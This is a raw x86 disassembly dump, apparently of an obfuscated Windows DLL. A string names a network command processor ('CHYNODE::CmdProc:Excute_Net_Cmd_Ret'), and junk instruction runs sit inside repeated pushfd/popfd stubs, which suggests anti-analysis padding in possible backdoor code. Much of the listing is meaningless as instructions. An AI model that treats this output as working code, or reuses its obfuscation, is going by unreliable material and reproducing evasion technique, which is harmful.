pop ebp
cmp eax, 0x30aaf374
xchg ebx, eax
pop ebx
push eax
mov ecx, 0xc6708f10
mov ss, word [esi + ebx*4 + 0x567e037a]
das
push ebp
pop edi
invalid
push ss
cmp edx, dword [ebx + 0x3ffd538d]
adc dword [eax - 0x73d2f91c], eax
push eax
inc esi
stc
pop edx
mov ds, word [ecx + 0x3f109a6f]
push es
fld xword [edx]
fdiv st(4), st(0)
cmp al, 0x39
dec edi
mov ecx, 0x2a11e7ed
popfd
push edi
mov ecx, esi
pushfd
test byte [0x1009915a], 0xfb
jne 0x1009925b
test dword [ecx], ecx
add dword [eax], eax
add byte [ecx], ah
add ecx, dword [eax - 0x4884acba]
and dword [ebx], eax
mov byte [esi + 0x53], al
jnp 0x10099110
pop eax
fnstsw word [ecx - 0x49]
cld
cli
in al, dx
aad 0x2a
mov bl, 0xcd
cli
sub byte [edi], 0x1e
sub eax, 0x8ee57492
out dx, eax
test edi, edx
sub dl, byte [eax + 0x5e978aeb]
pop eax
sar byte [eax + 0x38a45467], 1
xchg ebx, eax
rcl dh, 1
test eax, 0x36b60740
or ecx, esp
mov ch, 0xeb
mov dword [eax - 0x8c67af6], 0x554f19a6
push esp
sahf
cmpsd dword [esi], dword es:[edi]
or byte [esi + 0x29], dl
aas
popal
sbb dh, byte [eax - 0x318f529c]
js 0x100991f5
sbb ah, dh
xchg esp, eax
fld xword [eax - 0x1c1ac08]
aaa
das
mov al, byte [0x5b900b5f]
push ecx
jecxz 0x100991e4
push 0x70
jb 0x10099203
fld qword [edx + 0x64971769]
mov ch, 0x20
add dword [ebp - 0x12], edx
stc
or eax, 0xabe462c6
fistp word [ebp + 0x49]
adc dword [esi], 0x27c8795f
nop
sub ch, byte [ecx + 0x40]
jae 0x100991f4
xchg ebx, eax
pushal
in eax, 0x59
pop es
mov edx, 0x9e9c4278
sahf
cmp dword [esi], ecx
test dword [eax + 0x187f65bd], eax
push esi
cmpsb byte [esi], byte es:[edi]
dec dword [ecx + ecx*2 - 0x461a6a50]
in eax, 0xb9
mov ecx, 0x469db360
pushal
mov bl, 0x9d
inc esi
leave
aam 8
insd dword es:[edi], dx
pushfd
mov dword [0x234fb5cd], eax
mov dh, 0x2d
dec edi
test ebp, 0x83296292
add eax, 0x7be71ec
cmpsb byte [esi], byte es:[edi]
and esi, dword [esi - 0x3208b0d3]
xchg edx, eax
bound ebp, qword [ecx]
add dword [0x7be71ec], 0xffffffa6
add ecx, 0x84d9ae8a
inc eax
aad 0xca
sub edi, edi
and byte [edx - 0x2a], al
jle 0x10099213
mov word [edx + edx*2 + 0xa901ead], fs
sbb dword [0x7aa51b92], edi
outsb dx, byte [esi]
test eax, 0xbc4c9b36
pushal
sub dl, byte [eax]
inc ecx
or al, 0x91
push esp
cmc
neg byte [eax]
and edi, eax
push ss
popal
pushfd
and al, 0x92
cmp dl, byte [ebx + 0x2d9761a4]
mov esi, 0x1221b61b
mov ah, 0x52
cmp dh, byte [eax]
aam 0x5b
sti
inc esp
pop eax
popfd
jne 0x10099268
call fcn.100970d2
jmp 0x1009947b
call fcn.10057186
jmp 0x1009947b
lea ebx, [esi + 0x7b0]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
pushfd
test byte [0x1009928f], 0x52
je 0x10099390
mov bl, 0x7d
add dword [esp + eax*4 - 5], ebp
fisub dword ds:[ebx]
fnsave dword [edx]
fisubr dword [esp + ebx*2 + 0x28e09c20]
fld xword [edx - 0x22779327]
xchg dword [ecx - 0xa59ba33], ecx
push esi
fadd qword [edi]
movsd dword es:[edi], dword [esi]
in al, dx
xor dword [esi - 0xb], eax
in eax, dx
jge 0x1009926d
pop ds
lodsd eax, dword [esi]
call 0x907eefd1
imul ebx, dword [ecx], 0x21
fdivr qword [eax]
xlatb
inc ebx
mov eax, esp
cmp bh, dh
inc eax
js 0x100992fa
das
mov dh, 0x1c
shl ebp, 1
jle 0x10099331
push bx
pop ebp
int 0x81
add eax, 0xf2cba420
or eax, 0xa88e31f8
jae 0x10099328
adc eax, dword [eax + 0x59fa9b1a]
sub byte [esi + 0x3a], dl
mov cl, 0x40
mov ecx, 0x5e927650
or eax, 0xaa3066ae
in al, 0x4b
dec ebx
enter 0xffffffffffffe2e0, 0xffffffffffffffdc
insb byte es:[edi], dx
enter 0x158f, 0xfffffffffffffff7
cmp dh, byte [0x7d3d6274]
sub ebp, dword [ebx]
xor dword [esi], esi
salc
rep stosb byte es:[edi], al
aas
popfd
daa
lodsd eax, dword [esi]
imul ebx, dword [edx + 0x3a], 0x5b
cmpsb byte [esi], byte es:[edi]
inc edi
add bh, byte [esi]
push 0xb5595451
fidiv word [ebx]
dec edx
daa
add byte [edx - 0x71], dl
cmp esp, dword [eax + 0x60813cce]
mov eax, 0xa27e58c7
invalid
pop eax
jle 0x100992d6
push ebx
cdq
cdq
mov esp, 0xc6c933b2
cmp dword [eax], edi
sbb eax, 0xaf0de8fa
sub al, 0xf
or dword [edx], 0xffffff85
mov esp, 0x3d4ce44
mov ebx, 0xcbf510f0
out dx, al
or dword [edx - 0x39], ebp
in eax, 0x69
in al, dx
inc esp
add edi, eax
push ecx
push edi
stosd dword es:[edi], eax
or dword [edi - 0x53], edx
sbb ch, dl
mov dh, 0xda
popal
and bh, byte [edi + edi + 0x7e3871c]
push ecx
adc byte fs:[ebx - 0x4fe0a1d0], al
std
fist word [esi]
aam 0x3b
cmc
retf
lodsb al, byte [esi]
add byte [ebx], bl
lea edx, [edx]
pop es
leave
not ch
mov edx, 0x4e8f2024
inc ebp
jnp 0x10099350
les eax, [ecx]
sub dword [eax + 0x7f839d1b], ecx
sbb dword [eax], eax
add dword [ecx], ebp
mov byte [ebx], bl
popfd
cmp dword [edi + 0x19], 0
push edi
mov ecx, esi
jne 0x10099476
pushfd
test byte [0x1009946d], 0x38
jne 0x1009946e
call 0x4507525
jecxz 0x1009938b
pop esp
pop ss
push ss
outsb dx, byte [esi]
mov esp, 0x136889af
ficom dword [ebx + edi]
mov edi, 0x475e02d7
out dx, al
mov eax, dword [0x3fcc6743]
dec ecx
nop
cmp eax, ecx
push esp
xor eax, 0x1695e833
sbb ebp, eax
xchg edx, eax
or ebx, 0xfffffff0
push 0xffffffffffffff9c
add dh, bh
mov dh, 0x9d
nop
xor eax, 0x1b3c771f
fist word [ebx + 0x46]
jno 0x1009937b
sbb dword [eax], 0x2db616ce
sbb dh, cl
push ss
mov dh, 0x2d
js 0x1009944c
cmp eax, 0x9d1c95f2
inc ecx
aaa
push ebx
cmc
add ebp, esp
mov edx, dword [ebx + 0x787dd6f7]
pop edx
jne 0x10099427
jecxz 0x100993ed
rol dword [0xf95e316c], 1
add ecx, edx
sti
fistp word [ecx + ecx*4 + 0x4e]
das
ja 0x10099419
call [esi + edi*2 + 0x1c]
pop esp
jle 0x10099439
sbb edi, ebp
cmp eax, 0xd5d7cd5f
push esp
mov eax, 0xcbdccd1d
cld
into
verr word [edi]
mov dword [0x7b05c967], eax
ror eax, cl
lodsd eax, dword [esi]
xchg edx, eax
xor esi, ebp
int 0xdc
retf
cmc
jecxz 0x10099479
lodsb al, byte [esi]
xchg edx, eax
mov byte [ecx], cl
push 0xffffffffffffff9f
rol byte [ecx + edi + 0x43], cl
ror byte [edi + 7], 0x15
mov cl, 0x25
inc ebp
cmp eax, 0xf5e4e732
cdq
mov esi, 0xeee1ba9d
mov cl, 0xa9
inc dword [edi]
mov cl, byte gs:[edx]
xor byte [esp + ebp + 0x1b8c190c], 0xc1
push es
mov edx, 0x7ed2dc42
pop edi
popfd
call fcn.1009665e
jmp 0x1009947b
call fcn.10056ffb
sti
dec dword [ebx - 0xfba7632]
mov ecx, esi
mov dword [ebp - 0x10], eax
call fcn.10055b58
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [ebp - 0x10]
push str.CHYNODE::CmdProc:Excute_Net_Cmd_Ret:_d
push 0
pushfd
test byte [0x100994ca], 0x8d
jne 0x100994cb
cmp eax, 0xe7dac924
push cs
xchg esi, eax
mov ch, 0xa6
mov ebp, edx
mov dword [0x6e0f516a], eax
push esp
pushal
insb byte es:[edi], dx
test dword [ecx], esp
out 0x7f, al
int 0x37
arpl word cs:[esi], si
js 0x1009946d
cmp dword [esi], 0x588512c2
mov edx, 0xd7e85d32
mov ebx, esi
popfd
push 3
call fcn.10049c0c
add esp, 0x10
lea eax, [esi + 0x7e0]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [edi + 5]
pushfd
test byte [0x10099540], 0xac
xchg ebp, eax
or dword [eax], edx
lodsb al, byte [esi]
jne 0x10099541
mov eax, 0x7d05b128
xlatb
push 0x1c
or byte [edi - 0x682b5e27], al
xor al, 0xd
cli
lodsb al, byte [esi]
jnp 0x10099581
inc ecx
cmc
loop 0x100994ea
stc
loopne 0x100994e7
div byte [ebp - 0x95e2459]
pop ebx
scasb al, byte es:[edi]
lea edx, [ecx - 0x2a]
add dl, ah
loopne 0x100994b5
mov ch, 0xa1
cmpsd dword [esi], dword es:[edi]
das
aaa
push ebx
mov eax, dword [0xc50b01af]
sbb ah, al
mov dl, 0x39
mov al, byte [0x5a12d969]
sahf
inc edx
shl edi, 1
and eax, 0x3fbf7a93
dec esp
sbb al, 0x45
xchg ecx, eax
xor eax, 0x754f9e0d
popfd
push eax
mov ecx, esi
call fcn.100639ed
mov ebx, eax
xor ecx, ecx
cmp ebx, ecx
pushfd
test byte [0x10099604], 0xa4
jne 0x10099605
push ss
salc
cli
or al, 0x74
jle 0x100995af
in al, dx
mov esi, 0x8af09aa1
sal dword [ecx - 0x51cb8731], 1
loop 0x100995b9
cmp al, 0xb5
psrld mm2, mm0
cld
scasd eax, dword es:[edi]
and eax, 0x422dc4af
jl 0x100995d3
bound esi, qword [esi]
mov ecx, 0x249402a5
mov cl, byte [eax + 0x1e]
adc dword [ecx - 0x729637c5], esi
inc ecx
rol dword [ecx], 0x75
jg 0x10099578
cwde
mov eax, 0xc4ebc3bd
inc edi
int 0x67
xchg edi, eax
in al, dx
cmp dword [edi + 0x46d9406c], ecx
aas
or al, 0xdf
adc eax, 0xbec04d38
cmp byte [ebp - 0x40], cl
mov esi, 0x1e6097a6
cmpsb byte [esi], byte es:[edi]
xchg edi, eax
pushal
push ds
and al, 0x4c
loopne 0x1009961c
pop ecx
cdq
xchg edi, eax
pop esi
lahf
cmp al, 0x4a
sbb dl, bh
dec ebx
xchg ebx, eax
jnp 0x100995c8
jmp [edx - 0x12]
push 0xffffffffffffffee
sub ebp, esi
xchg ecx, eax
or byte [ebx + 0x2b], ah
add edi, dword [ebx]
fnstsw word [eax + 0x195c601f]
movsb byte es:[edi], byte gs:[esi]
xchg byte [ecx], bl
les ecx, [ecx - 0x15]
pop ebp
dec ebp
and dword [edi - 0x198f03ae], edi
ja 0x100995f3
inc esp
invalid
mov ebp, 0x696e59f5
xlatb
mov ecx, 0x6a2be8f1
movsd dword es:[edi], dword [esi]
cmc
pop ecx
outsb dx, byte [esi]
imul edx, edi, 0x2be8f1b9
push 0xffffffffffffffa5
inc esi
outsd dx, dword ds:[esi]
pop es
jbe 0x100995b3
popfd
je 0x10099d6b
xor eax, eax
inc eax
cmp dword [ebp + 8], eax
je 0x10099ba3
cmp dword [ebp - 0x10], ecx
je 0x10099781
test byte [eax + 1], ah
add byte [eax], al
inc dword [ebx + 0x864]
cmp dword [ebx + 0x864], 3
pushfd
test byte [0x10099682], 0x83
jne 0x10099683
adc byte [ebx - 0x347db48b], al
jnp 0x1009963e
or bl, 0x7b
add al, byte [ebp - 0x5f867bcb]
test dword [0xafa07984], esi
test byte [ecx - 0x60], bh
scasd eax, dword es:[edi]
aas
xor ebx, ecx
dec ebp
in al, dx
inc esp
sbb eax, 0x433af966
push 0xda5967ef
adc bl, byte [edx]
cmp esi, edx
adc byte [eax - 0x7d0ed963], 0xb1
jo 0x100995f4
lea esp, [ecx - 0x74]
mov dword [esi], 0xe6c72f4c
in eax, dx
sub esi, dword [edx - 0x5c367810]
lea ebp, [esi]
xor eax, 0x2a20c774
or al, 0xba
mov dh, 0x6f
push ebp
fst dword [ecx]
stc
popfd
inc ecx
loop 0x10099662
mov edi, es
push es
dec esp
das
invalid
popfd
jle 0x10099787
pushfd
test byte [0x1009977f], 0xfe
jne 0x10099780
add eax, 0x1009977f
dec byte [edi]
test eax, ebp
add byte [eax], al
add byte [edx], ch
xchg byte [ebx], dh
add esp, ecx
pushal
sub al, byte [esi + 0x60cc0133]
fidivr word [ebx + 0x7b]
pop esp
fdivr dword [ebx]
and eax, ecx
mov ebp, 0xa15db67f
xchg ebp, eax
jg 0x10099634
aad 0x30
xchg esp, eax
clc
sbb ch, dh
mov ch, 0x48
pop esp
int 0x1c
fcmove st(0), st(5)
bound esi, qword ss:[esp + ecx*8 - 0x3f]
adc eax, dword [edi + 0x223a6b5]
movsd dword es:[edi], dword [esi]
push eax
imul eax, ebx, 0xc44eab4f
xor ebp, edx
sub al, bl
lodsd eax, dword [esi]
xor dword [eax - 0x50], ecx
jecxz 0x1009968c
xor esi, dword [eax]
add eax, 0x113e30eb
mov esi, 0xf48979b2
lahf
aas
salc
and esi, esi
xchg ecx, eax
sub ch, byte [eax]
push edx
mov bl, 0x9a
dec eax
fldenv [edi - 0x2f]
and esp, dword [ebp*2 - 0x352aab15]
pushal
inc ebp
pop ebx
mov dword [eax], eax
aam 0xa6
jnp 0x100996f5
insd dword es:[edi], dx
jmp 0x1009974c
adc al, 0xb6
sbb al, 0x7f
ror dword [eax + 0x20eb1588], 1
and dword [0xf7609ea2], esp
jg 0x10099718
shr dword [esi], 1
aaa
mov bh, 0xa2
aas
adc al, 0x3c
pop ecx
cmpsb byte [esi], byte es:[edi]
test byte [esi - 0x3e], bl
dec edx
aad 0x97
into
inc esi
sub eax, 0xbf72f572
sub byte [ebx + 0x4f], bl
mov ecx, 0xa239f559
out dx, al
dec ebx
mov eax, 0x2b7a89c2
mov dl, 0xc8
xor cl, dl
and dword [eax + eax*8], ebp
movsb byte es:[edi], byte [esi]
daa
sbb edx, dword [edi - 0x12b1a210]
dec esi
in eax, dx
mov bl, 0xa3
or eax, 0x98e6d987
mov dword [0xe6d9870d], eax
cwde
xchg ebp, eax
cmp al, 0x18
mov esp, 0x27d1b398
jge 0x10099749
dec ebx
in eax, dx
xchg edx, eax
sub al, 0xd9
popal
jmp dword [esi - 0xf]
popfd
mov dword [ebx + 0x864], ecx
push ebx
mov ecx, esi
call fcn.10053ec5
cmp eax, 1
jne 0x100999b1
add byte [eax], al
lea eax, [ebx + 0x7e]
push eax
call fcn.10046cf0
pop ecx
pushfd
test byte [0x10099870], 0x4b
jne 0x10099871
rol dword [eax], 0
add dh, cl
into
lodsb al, byte [esi]
add byte [ebp + 0x31], dl
jae 0x100997ac
out dx, al
imul esp, esi, 0x27824d2
scasb al, byte es:[edi]
jecxz 0x100997c3
out 0xae, al
fimul word [eax - 0x27]
aam 0x60
jno 0x10099796
add ebx, esp
adc byte [ebp - 0x3e], bh
mov ch, 0xfd
push cs
insd dword es:[edi], dx
and eax, 0x1a243057
jnp 0x10099805
fld xword [edi - 0x12]
fldenv [ecx + 0x682a246a]
jne 0x10099815
das
fst qword [ebx]
mov eax, dword [0x7f1e6563]
cmp dword [ebx + 0x5f8e602b], edi
popal
pushal
mov ds, word [edi + 0x61]
xchg ebx, eax
lodsd eax, dword [esi]
idiv dword [edx]
xlatb
mov dl, byte [edx - 0x6268e3a1]
salc
cmp cl, byte [edi + 0x75]
inc ebp
mov eax, 0x431d659a
inc ebx
pop ecx
add ebx, eax
or byte [ebx + 0x1b9c6766], ah
fstp xword [0xb12123c6]
jle 0x10099896
dec byte [eax]
adc ch, byte [edx]
sti
push ebp
aaa
sbb ch, byte [ebp - 0x1b]
movsb byte es:[edi], byte [esi]
mov cl, 0xdf
imul edi, esi, 0xffffffe8
mov esi, 0x2e39458f
mov eax, 0x76cc6477
sbb eax, 0x4216bfe9
test eax, 0x4dfc9c9a
pushfd
cld
dec ebp
cli
and ecx, edx
das
inc ecx
pop ebp
outsd dx, dword [esi]
dec ecx
out dx, al
sub eax, dword [eax + 0x65]
nop
js 0x100997f1
adc ch, byte [ecx + 0x35ce340]
mov esp, 0x69dd5ec9
int1
push cs
fbld tbyte [ecx + 0x4f]
xchg esi, eax
je 0x100998a9
outsb dx, byte [esi]
aaa
or al, 0xc6
test byte [eax], bl
loop 0x10099840
fsub st(5)
xlatb
popfd
cmp eax, 1
je 0x1009995f
lea eax, [esi + 0x6ef]
push eax
lea eax, [ebx + 0x7e]
push eax
call fcn.10041098
pushfd
test byte [0x10099957], 0xed
in eax, dx
jne 0x10099958
add byte [eax], al
add byte [ecx + edi*2 + 0x3d], bh
mov ch, 0xba
add al, byte [eax - 0x62]
jl 0x10099914
cmp eax, 0x4002bab5
sahf
mov dword [0xfe88a8d0], eax
adc eax, 0x386ebed7
push eax
mov ah, 7
outsb dx, byte [esi]
cmp byte [eax - 0x4c], dl
pop es
mov ebx, 0xa663d0a7
sub eax, 0xa9626975
pop ss
lodsd eax, dword [esi]
mul dword [eax + 0x66853036]
int3
mov word [esi - 0x5b2c2ff5], ss
jae 0x10099906
cmp byte ss:[0x8affb29c], 0xb6
cmpsb byte [esi], byte es:[edi]
add bl, byte [edi]
dec esp
inc ecx
push 0xffffffffffffffa3
div dword [esi]
sub bl, al
test al, 0xea
xchg ecx, eax
jbe 0x10099892
fsubr dword [eax - 0x53896e16]
dec eax
js 0x1009991d
xor al, 0x80
and dword [ebp - 0x67], esi
and byte [ecx], 0x75
cdq
push ss
sub al, byte [ebx + 0x10]
rcl bl, 1
in eax, dx
in al, dx
mov dl, 0xc2
add esp, dword [ecx + 0x767a2c64]
arpl word [esi], si
out 0x96, al
or byte [ecx + 0x46], bh
pop edi
add ebx, dword [ecx + 0x49]
fst dword [eax - 0x2516520f]
pop ss
mov cl, 0
imul ebx, dword [0xe467e309], 0xa975f608
sbb eax, 0xe467e309
or dh, dh
jne 0x100998c6
jecxz 0x100998e8
push 0x9d69b57d
pop ebp
scasd eax, dword es:[edi]
adc al, 0x9a
stosb byte es:[edi], al
pop esi
or dword ss:[esi + 0x71f0e034], edi
daa
jns 0x100998e0
popfd
or byte [0xfbc2eb79], dl
pop ebp
js 0x100999ae
xlatb
mov cl, 0xcb
out dx, al
je 0x10099974
mov dword [ebx], 0x8a19d2e7
pop ebp
not byte [ecx - 0x5e8db86e]
in al, 0xa7
loopne 0x10099901
popfd
pop ecx
pop ecx
test eax, eax
jne 0x100999b1
mov eax, dword [ebx + 0x83c]
test eax, eax
je 0x100999b1
push eax
pushfd
test byte [0x100999a5], 0x4c
jne 0x100999a6
push esp
pop es
and cl, byte [ebp - 0x31]
enter 0x497f, 0x60
cmp al, 0xbf
pop ecx
push cs
pop edi
cmpsb byte [esi], byte es:[edi]
dec ecx
lea edx, [ebp - 0x7e331f20]
adc dl, bl
lodsd eax, dword [esi]
cdq
or dword [edx], edi
mov al, byte [0x591bb613]
in eax, 0x5a
cmpsb byte [esi], byte es:[edi]
int3
popfd
push ebx
mov ecx, esi
call fcn.1009377b
jmp 0x100999b5
invalid
and dword [ebp - 0x14], 0
cmp dword [ebx + 0x864], 0
jne 0x10099ba9
pushfd
test byte [0x10099a37], 0xdb
jne 0x10099a38
salc
mov ch, 0x5e
mov byte [ebx - 0x16dde75b], cl
xchg esi, eax
add eax, 0x93a681ba
ror al, cl
inc eax
jecxz 0x100999aa
outsb dx, byte [esi]
out dx, eax
pop eax
sub byte [edx + ebx], ch
cmpsd dword [esi], dword es:[edi]
push 0xdad39272
pop ebp
test dh, cl
test eax, 0x67637c57
or dword [edi], eax
test eax, 0xa3500d81
pop ss
ficomp word [edx - 0x3b]
popfd
ffreep st(5)
and dword [ebx + 0x4a232988], ebx
les ebp, [edi - 0x4026ab22]
and ebp, edx
into
xor al, dl
cmp eax, 0x4c4b8638
sbb eax, dword [eax + eax*8 + 0x5e]
xchg esp, eax
movsd dword es:[edi], dword [esi]
aam 0x4e
inc ebx
insd dword es:[edi], dx
pop ss
adc al, dl
lea esp, [edx + 0x68]
dec ebx
dec ebp
jb 0x10099a14
test byte [eax - 0x1e8d22ce], 0xf4
adc dword [edi - 0xe], edx
das
popfd
xor eax, eax
inc eax
cmp dword [ebp - 0x14], eax
pushfd
test byte [0x10099b12], 0x64
jne 0x10099b13
pop ecx
pop esp
sub eax, 0xee5de62c
in al, dx
invalid
xor byte [edi], ch
lodsb al, byte [esi]
sbb eax, 0x793ff7c2
inc ecx
dec edi
xor dl, bh
add bl, byte [esi - 0x79]
xchg ebx, eax
or eax, 0x8130760b
test al, 0x9d
pop ebx
out 0x51, al
popfd
jne 0x10099ba3
xor ecx, ecx
lea eax, [ebx + 0x848]
cmp dword [eax], 0
jne 0x10099b30
inc ecx
add eax, 4
cmp ecx, 7
jl 0x10099b22
cmp ecx, 7
jne 0x10099ba9
mov dword [ebx + 0x840], 1
pushfd
test byte [0x10099b9f], 0x58
jne 0x10099ba0
imul esi, esi, 0x4bd10c42
out 0x82, al
jno 0x10099b14
dec ebp
dec ebx
cmp eax, 0xfe6b3fd2
call 0x6eeac610
xor dl, ch
sbb al, 0x16
or ebx, ecx
and al, 0xf9
cmpsb byte [esi], byte es:[edi]
sub esp, eax
mov dh, 0x6e
movsd dword es:[edi], dword [esi]
jbe 0x10099af8
sub al, 0xd2
sahf
add al, 0x47
fst st(3)
mov al, byte [esi - 0x793a1604]
sbb al, 6
adc dword [ebp - 0x68083e0b], 0xfffffff2
sal ah, 0xe9
mov ebp, 0x17b665e4
pshufw mm4, qword [edx - 0x65], 0x41
les esp, [0xe7e84727]
inc ecx
imul ebx, ebp, 0xffffffcc
out 0x7c, eax
xchg ebp, eax
popfd
jmp 0x10099ba9
mov dword [ebx + 0x840], eax
cmp dword [ebx + 0x840], 0
jne 0x10099d63
lea eax, [esi + 0x7c8]
pushfd
test byte [0x10099be3], 0x80
jne 0x10099be4
repe cmpsb byte [esi], byte es:[edi]
lahf
enter 0xffffffffffff9fe6, 0xffffffffffffffcf
sbb al, 0x13
inc esi
lds ebx, [ecx + edx]
push edi
aas
push edx
leave
popfd
pop esi
aad 0x4d
jg 0x10099c5a
outsb dx, byte [esi]
movsd dword es:[edi], dword [esi]
sub byte [esi + 0x6a], dl
stosd dword es:[edi], eax
popfd
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
pushfd
test byte [0x10099c9c], 0x75
jne 0x10099c9d
jne 0x10099c04
test dword [ebx + 0x67000000], esp
fadd dword [ecx]
fadd dword [bx + di]
cmc
push cs
mov byte [ecx - 0x20], bl
xchg ecx, eax
daa
daa
cdq
push 0xc538cea9
insb byte es:[edi], dx
inc edi
dec ebp
adc byte [eax - 0x20cd11be], ah
popfd
mov dl, 0xcd
imul ebx, dword [ebx], 0x6d
insd dword es:[edi], dx
pushal
sti
add al, 0x8f
jo 0x10099c58
xor dh, byte [edx]
dec eax
sbb eax, 0xc8e3d641
xor cl, byte [eax + 0x1d]
inc ecx
salc
jecxz 0x10099bf3
inc esp
imul edx, dword [ebx + ebx*2 - 0x1c], 0x2f
xchg esi, eax
and edx, dword ds:[edi + 0x75815804]
sti
sti
or byte [eax - 0x331a3b2b], dh
push ds
push es
dec esi
cmpsd dword [esi], dword es:[edi]
xor al, 0x16
loop 0x10099c1a
pushal
out 0xfd, al
or al, 0x33
in eax, dx
mov eax, dword [0x2e10af09]
scasd eax, dword es:[edi]
adc byte [esi], ch
mov dword [ebx - 0x233165a4], ebx
sti
pop esp
lcall 0x1b2f, 0x56fbdcce
xchg edx, eax
insd dword es:[edi], dx
fcomi st(6)
into
fdiv st(3), st(0)
push esi
das
sbb edx, dword [edx - 0x9249a93]
lodsb al, byte [esi]
xchg ebx, eax
fucom st(0)
push ebp
arpl word [eax - 0x6f6f3238], dx
jb 0x10099c24
jge 0x10099cdb
je 0x10099c53
imul ecx, eax, 0xbbb6e468
cwde
xlatb
jnp 0x10099c50
pop ebx
jg 0x10099ca5
pop eax
int1
mov al, 0x92
cld
push esi
das
inc ecx
out 0x87, al
out 0x26, eax
xchg ecx, eax
jb 0x10099ccf
jo 0x10099ccd
dec edi
mov ah, 0x9c
mov fs, word [bx + si + 0x4c5b]
popfd
lea ecx, [esi + 0x798]
mov eax, dword [ecx]
push edi
push eax
add dword [edi + 0x50], edx
call fcn.10036453
pushfd
test byte [0x10099ce0], 0x71
jne 0x10099ce1
mov al, 0x1c
xchg edx, eax
rol ch, 1
shl dword [ecx + 0x69], 0x73
dec dword [esi]
push 0xffffffffffffffc1
pop ebp
fsubp st(7)
cmp byte [esi + 0x93f73a6], 0x53
or dword [ebx + 0x27], edx
daa
inc ecx
or esi, esp
mov word [ebp - 0x11392f48], ss
and byte [ecx + 0x29], al
loop 0x10099d36
sub edx, esp
pop eax
fist word [edx - 0x5f]
popfd
lea eax, [esi + 0x7c8]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pushfd
test byte [0x10099d61], 0x72
jne 0x10099d62
in al, 0xc9
into
shr dword [esp + 0x48], 0xf5
add dword [eax], eax
and ecx, esp
sti
mov ch, 0x3c
pop es
aas
jl 0x10099d68
mov edi, 0x3395b951
adc eax, 0xd8e62514
sbb al, 0x71
loopne 0x10099d77
cmc
add esi, dword [esi]
inc esp
xchg ebx, eax
std
xor al, 0x3c
jge 0x10099d50
mov eax, dword [0x4a94d729]
sbb ebx, esi
and dh, byte [edx + ecx*8 + 0x34]
aam 0x36
or eax, 0x306b4a57
in al, 0xef
test al, 0x94
ja 0x10099db5
rep stosb byte es:[edi], al
xor edi, dword [ebx]
push ecx
xor ecx, esp
xor byte [edx - 0x5944afaf], ch
imul ebx, dword [edx], 0x63ff0290
in eax, 0xaa
add dword [ebx - 0x7015456a], esi
mov ch, 0x1f
ror dl, 0xf8
mov ecx, ebp
les ecx, [ecx + 0x23]
retf 0x8bf8
popfd
push ebx
mov ecx, esi
call fcn.10063cf6
lahf
cld
dec dword [ebp + 0x7e086]
add byte [esi + esi*8 + 0x99dca05], bl
lea eax, [esi + 0x7e0]
pushfd
test byte [0x10099dca], 0x9b
jne 0x10099dcb
adc byte [ebx - 0x767caf8b], bl
retf 0x4182
or dword [ecx - 0x4ebe7d36], 0x19
inc ebp
mov ah, 0xdb
sar dl, 1
or al, 0xc7
cmp esp, ecx
push edi
ror dh, 1
mov edi, 0xee963dab
pushal
and dword [edi], ebx
call 0xd6e96b1a
leave
adc eax, esi
outsd dx, dword [esi]
cmp dword [edx], ebx
dec edi
lodsb al, byte [esi]
jns 0x10099d5b
pop ds
xchg esi, eax
imul edi, dword [eax], 0xf1295a57
mul byte [edi + ecx*8 + 0x41]
pop ss
push ebx
xor byte cs:[edx - 0x3dee44f0], 0x9d
xor byte [edx - 0x3dee44f0], 0x9d
xor dword [eax], ebx
leave
imul edi, dword [edi + esi*4 - 0x47], 0x5bbb3447
xchg dword es:[ecx - 0x70], esi
popfd
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pushfd
test byte [0x10099eb9], 0x4c
jne 0x10099eba
int3
mov ch, 0x61
inc ecx
sub eax, 0x18476d71
pop es
adc esp, ebp
cmpsd dword [esi], dword es:[edi]
dec edx
push edx
dec edx
fstp xword [ecx]
pop ecx
push esp
test al, 0x7a
xchg ebx, eax
dec edx
cmp al, 0x26
add ah, byte [eax - 0x598b8c10]
daa
nop
sub dh, byte [edi + ebp]
stosd dword es:[edi], eax
outsd dx, dword [esi]
movsd dword es:[edi], dword [esi]
dec ebp
enter 0xffffffffffffe3b2, 0xffffffffffffffe9
push es
cmpsb byte [esi], byte es:[edi]
push ds
stosd dword es:[edi], eax
test al, 0x5f
leave
mov ah, 0xc3
push 0x570e738c
popal
aad 0xc2
adc ch, ch
paddq mm5, qword [edx + 0x4e]
add al, al
dec ebx
popfd
mov eax, dword [ebp - 0x24]
push dword [eax]
pushfd
test byte [0x10099f91], 0xbc
jne 0x10099f92
jne 0x10099ef7
cmp esp, eax
inc ebp
in al, dx
jle 0x10099f28
ror dword [edx + 0x5b8a7073], cl
jb 0x10099f55
add eax, 0xc7911587
dec esp
dec edx
jecxz 0x10099e6f
pop ds
xchg ebx, eax
mov es, edx
mov cl, 0xd9
into
fsub qword [edi - 0x2ad543cd]
imul esi, ebp, 0x7e
stosb byte es:[edi], al
dec ebx
pop edx
cmp dword [edx + 0x1c9f4012], ebp
aaa
int3
or al, ah
mov edx, 0x7220b5b8
je 0x10099fae
mov ch, 0xda
shl byte [0x4b211324], 1
sbb dword [ebx], ebp
cmp bl, bh
rcl dword [ebp + ebx - 0x4ef6af87], cl
aaa
sub eax, 0x29c846dc
cmp ah, byte [edx]
xor byte [ecx - 0x23], dl
jbe 0x10099f78
or byte [ebx + 0x4ac5f73e], cl
add bh, byte [esi + ebp*2 - 0x70]
lds ecx, [edx + 2]
jl 0x10099fc8
nop
scasd eax, dword es:[edi]
mov dword [0x4b927c13], eax
adc dword [ecx - 0x3644abf3], ecx
or eax, 0x7499cac4
cmp bl, 0x97
mov ah, 0xd3
mov bl, 0x41
call 0x44a177f9
sbb dword [bp + si], edx
mov bh, cl
sal byte [ecx + 0xf], cl
push ebx
aaa
stosb byte es:[edi], al
popal
insd dword es:[edi], dx
rcr dh, 1
and eax, 0xeb15c3f8
stc
mov eax, dword [0xbe8d8ed9]
mov cs, word [ebp + 0x458d9dbe]
call 0xec572cea
popfd
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x24]
call fcn.100694bd
xor edi, edi
cmp dword [ebp - 0x20], edi
jne 0x100983b4
push dword [esi + 0x74c]
add byte [eax], al
mov ecx, esi
call fcn.100580ae
pushfd
